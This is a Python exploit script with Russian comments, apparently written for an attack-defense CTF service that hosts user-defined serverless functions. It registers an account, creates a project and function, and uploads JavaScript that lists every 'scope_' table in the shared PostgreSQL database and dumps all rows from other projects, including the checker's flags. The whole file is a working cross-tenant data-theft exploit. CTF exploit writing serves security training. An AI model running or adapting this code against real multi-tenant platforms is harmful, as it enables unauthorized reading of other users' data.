# Эксплойт основан на возможности обращения к базе данных из # кода пользовательской функции (и недостаточной проверки запроса). # # Он позволяет прочитать записи в базе, созданные функциями других # проектов, включая созданные чекером (и содержащие флаги). import sys import uuid import requests HOST = sys.argv[1] PORT = 3000 BASE_URL = f"http://{HOST}:{PORT}/api/v1" FUNCTION_CODE = r""" (async () => { const match = req.path.match(/\/exec\/([^/]+)/i); if (!match) { res.setStatus(500).send("Unable to detect project slug"); return; } const currentScope = `scope_${match[1]}`; const scopeHint = `/* ${currentScope} */`; const tables = await sql.query(` SELECT t.table_name FROM information_schema.tables AS t JOIN pg_catalog.pg_class AS cls ON cls.relname = t.table_name WHERE t.table_schema = 'public' AND t.table_name LIKE 'scope_%' ORDER BY cls.oid DESC LIMIT 500 ${scopeHint} `); const dump = []; for (const row of tables || []) { const table = row.table_name; const creationOrder = row.creation_oid; if (!table) continue; try { const rows = await sql.query( `SELECT * FROM "${table}" ORDER BY id DESC ${scopeHint}` ); dump.push({ table, creationOrder, rows }); } catch (error) { dump.push({ table, creationOrder, error: String(error) }); } } res.json(dump); })(); """ def make_id(prefix): return f"{prefix}-{uuid.uuid4().hex[:8]}" def main(): session = requests.Session() username = make_id("user") password = f"Passw0rd!{uuid.uuid4().hex[:6]}" print(f"[*] Registering user {username}") response = session.post( f"{BASE_URL}/users", json={"username": username, "password": password}, ) response.raise_for_status() print("[*] Logging in") response = session.post( f"{BASE_URL}/auth/login", data={"username": username, "password": password}, ) response.raise_for_status() login_response = response.json() token = login_response.get("auth_token") if not token: raise RuntimeError("Login response missing auth_token field") headers = {"Authorization": f"Bearer {token}"} slug = make_id("proj") project_name = f"Project {slug}" description = "Kekpek" print(f"[*] Creating project {project_name} ({slug})") response = session.post( f"{BASE_URL}/projects", headers=headers, json={"name": project_name, "slug": slug, "description": description}, ) response.raise_for_status() project_response = response.json() project_id = project_response.get("_id") or project_response.get("id") project_slug = project_response.get("slug") or slug print("[*] Creating function /sploit") response = session.post( f"{BASE_URL}/projects/{project_id}/functions", headers=headers, json={"name": "Sploit", "path": "/sploit"}, ) response.raise_for_status() function_response = response.json() function_id = function_response.get("_id") or function_response.get("id") print("[*] Uploading custom code") response = session.put( f"{BASE_URL}/projects/{project_id}/functions/{function_id}", headers=headers, json={"code": FUNCTION_CODE, "methods": ["GET"]}, ) response.raise_for_status() response = requests.get( f"{BASE_URL}/exec/{project_slug}/sploit", ) print(f"[+] Execution HTTP {response.status_code}") body = response.text.strip() if not body: print("[!] Empty body received") return print(body) if __name__ == "__main__": main()